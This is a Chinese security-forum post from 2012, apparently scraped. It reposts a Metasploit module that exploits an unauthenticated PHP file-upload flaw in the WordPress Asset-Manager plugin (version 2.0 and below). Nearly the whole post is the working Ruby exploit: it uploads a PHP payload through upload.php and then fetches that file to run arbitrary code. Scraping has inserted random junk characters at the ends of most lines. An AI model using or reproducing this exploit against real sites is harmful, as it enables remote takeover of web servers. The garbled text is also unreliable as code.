找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2439|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
5 h8 N# n+ A2 Z2 L. m. G# f4 z! [' \1 [
6 r- n# W$ A) h" z' V##7 E' e6 H2 e3 \" N8 Y5 @
# This file is part of the Metasploit Framework and may be subject to7 {0 j! {, X! z/ J% d
# redistribution and commercial restrictions. Please see the Metasploit
1 H& Q( ~4 e1 J1 b% K: W# Framework web site for more information on licensing and terms of use.
, S. s/ {6 w8 A; U+ u9 C! T+ g#   http://metasploit.com/framework/
* l/ Q7 [+ p; o4 [; \9 v##
, {& w" L, |! H$ }" n4 f 2 O4 B3 F, E1 o/ [# {- m
require 'msf/core'+ X: E0 `0 Q9 t
require 'msf/core/exploit/php_exe'4 R' Q* u$ t& x$ q0 E$ |
; s+ m/ y( i0 x( t! Y2 N4 O* w2 V
class Metasploit3 < Msf::Exploit::Remote
# c' s6 B) P8 N$ w. I2 P0 n' n7 D  Rank = ExcellentRanking( P! n7 G* |% `8 D% [& S9 C$ j' ^" Z& H

8 c4 y, [- t: H  include Msf::Exploit::Remote::HttpClient
6 T" ~) X+ Q. q+ \6 F( h+ c& e  include Msf::Exploit:hpEXE" {! Y! P$ R% \7 j( x
, Q* v+ a7 a" e, w$ ~% a- M5 W4 S
  def initialize(info = {})2 Z2 \; t4 c1 O9 ^! ]: @
    super(update_info(info,, {3 i# `6 R/ c1 }+ a* {
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',, o0 A) P! Z+ L9 ]4 J
      'Description'    => %q{' M: A5 E: g. ~) y% _) a; H
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress/ L1 n6 {; V* V0 M- Y
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a+ l9 v8 W1 ]& ?3 j' B
        temp directory without authentication, which results in arbitrary code execution.3 v4 D4 H& E! i6 N- N
      },- A% k' Q7 {7 h) b' |/ w
      'Author'         =>9 F1 u  D& [/ Y) r% ?
        [7 V: w8 |- j& w( T) E, \
          'Sammy FORGIT', # initial discovery
" m  [- P# f# a4 C          'James Fitts <fitts.james[at]gmail.com>' # metasploit module  ?2 I: N& T6 q" s8 H$ C
        ],
4 @: F3 ^* f. V- ?, ~7 ^      'License'        => MSF_LICENSE,
/ G8 {3 l8 c# q4 G( t" Y( g- t      'References'     =>! o7 \1 i, w$ I0 s6 D' C
        [9 I! b. `! c5 P" }. l) R. p
          [ 'OSVDB', '82653' ],
$ }' k3 P2 F$ R2 ~/ Z- w$ g8 Z          [ 'BID', '53809' ],) l/ [" R! o8 [, R
          [ 'EDB', '18993' ],1 U8 `  ]  Q4 Z! f# ]
          [ 'URL', 'http:// www.myhack58.com /' ]! Q* b% t4 B; w, s1 y; m$ V7 S$ h5 `
        ],
: n! X0 g: C0 C7 [1 ^      'Payload'       =>4 ~. [) X# x3 o  c! _' P1 C; N
        {
+ H7 }% @. @, c' L/ M% b9 B2 S          'BadChars' => "\x00",
# b" e+ c! L9 M6 m( L6 f        },
0 V" T3 Z. k& {7 @      'Platform'       => 'php',  D. t7 e9 N# Y" g* a
      'Arch'           => ARCH_PHP,2 h# N9 p: g# p; |; I
      'Targets'        =>+ _" g6 t- I7 i6 }3 h) c
        [8 U# v. ^5 m9 v: E& U- P2 _
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
8 p, |4 z) R& d0 r7 W          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]0 H# P4 A% i0 _
        ],5 U& z8 z. F* ^& {. s
      'DefaultTarget' => 0,
  @$ m6 F0 s  D9 e0 }& u      'DisclosureDate' => 'May 26 2012'))" p3 h8 s0 o8 i0 L2 R7 S3 [

  J9 c4 G2 m% y' a9 J    register_options(; v; e& X4 _* i$ I" u" S6 f) b5 c
      [
  l! l) [( |' L% O        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])+ F! @  Y* _) \' U! k
      ], self.class)1 w2 [/ _# K! v& x, a  s
  end
( G: A) W/ e& T; v3 m, ]' M! ]7 z ; C% k" E/ m$ L- a9 g8 j& n
  def exploit( c2 O4 a; F6 c% a( d9 V
    uri =  target_uri.path4 k# `( H' p, ?: {; t
    uri << '/' if uri[-1,1] != '/'0 Q1 l! V- t$ ]/ M& V4 q
    peer = "#{rhost}:#{rport}"
" ^: ^8 t: K; L  g, E0 x    payload_name = "#{rand_text_alpha(5)}.php"
* W0 `: }3 E- s2 g4 ^    php_payload = get_write_exec_payload(:unlink_self=>true)
1 k/ t2 u- x8 R9 J- U ! f* k2 D) u7 }5 k" O3 R
    data = Rex::MIME::Message.new
: d# @% ?8 Z, P5 D9 _$ z    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
% n+ j2 a% g) Y* [  |! a+ s  i5 `    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
. Z8 _- z7 |& h  T9 R
6 j6 w' ^4 X! q  p! p0 ]4 _    print_status("#{peer} - Uploading payload #{payload_name}"); {( R$ [. y" d4 v" x# N, F
    res = send_request_cgi({% t+ D2 S  n9 C7 W
      'method'  => 'POST',5 L( e9 n, T& j  R
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",. j# C. u! V7 ]: m- B' a  G# [
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
3 b6 O' Z0 p' z3 F, V/ u" U# c, S      'data'    => post_data
' S  r) z2 m1 w9 L$ O" e* E) W    })0 Z' z5 i0 _8 u

2 z6 n5 g& v# m2 ?% s3 {    if not res or res.code != 200 or res.body !~ /#{payload_name}/& ?# Q( U9 z& g6 J0 ~. _2 ]6 M
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")' w0 }( F9 l2 F0 v6 k/ a
end
- h+ i3 f* n% Q) o/ v ( S$ ]. K8 q2 N" ^5 o$ K0 C0 S0 q
    print_status("#{peer} - Executing payload #{payload_name}")% n" \$ D6 u) a
    res = send_request_raw({! |* {2 |% j0 o8 V9 C
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",  D/ l- n: |1 P! `3 M  T& r: B
      'method'  => 'GET'! e8 [* R$ E. e: g* H3 t* E% T
    })
* Q/ N& O& u5 s# N 7 i: [! `8 x; z0 w7 i
    if res and res.code != 200' i" g1 A# x6 ~- }9 T0 a
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed"). U% \$ s% t& f, E7 C
    end* {/ p- @# g! ~7 f% l! g
  end1 _$ Q9 {% P( D9 @
end. q9 p# U7 M2 Q6 F' H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表